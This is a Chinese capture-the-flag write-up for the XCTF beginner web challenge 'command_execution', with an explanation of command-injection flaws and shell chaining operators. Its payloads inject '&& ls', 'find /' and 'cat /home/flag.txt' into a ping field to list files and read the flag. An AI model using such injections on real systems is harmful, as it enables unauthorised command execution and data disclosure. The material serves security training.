攻防世界-web-新手练习区(4)-command_execution

题目

攻防世界-web-新手练习区(4)-command_execution_第1张图片

攻防世界-web-新手练习区(4)-command_execution_第2张图片

Writeup

因为是ping,所以尝试

ping 127.0.0.1

攻防世界-web-新手练习区(4)-command_execution_第3张图片

可以正常执行

尝试命令拼接执行

127.0.0.1 && ls

攻防世界-web-新手练习区(4)-command_execution_第4张图片

可以正常执行

尝试找到所有的.txt文件(这里是参考大佬思路)

127.0.0.1 && find / -name "*.txt"

攻防世界-web-新手练习区(4)-command_execution_第5张图片

发现flag.txt

于是打开flag.txt文件,得到flag

127.0.0.1 && cat /home/flag.txt

攻防世界-web-新手练习区(4)-command_execution_第6张图片

知识点

命令执行漏洞

当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

在操作系统中,“&、|、||”都可以作为命令连接符使用,用户通过浏览器提交执行命令,由于服务器端没有针对执行函数做过滤,导致在没有指定绝对路径的情况下就执行命令

  • A&&B,表示A命令语句执行成功,然后执行B命令语句
  • A&B,表示简单的拼接,A命令语句和B命令语句没有制约关系
  • A|B,表示A命令语句的输出,作为B命令语句的输入执行
  • A||B,表示A命令语句执行失败,然后才执行B命令语句
  • A;B,表示先执行A,再执行B

推荐文章:

https://www.freebuf.com/column/154670.html

https://www.cnblogs.com/xiaozi/p/7831529.htm

你可能感兴趣的:(CTF之Web)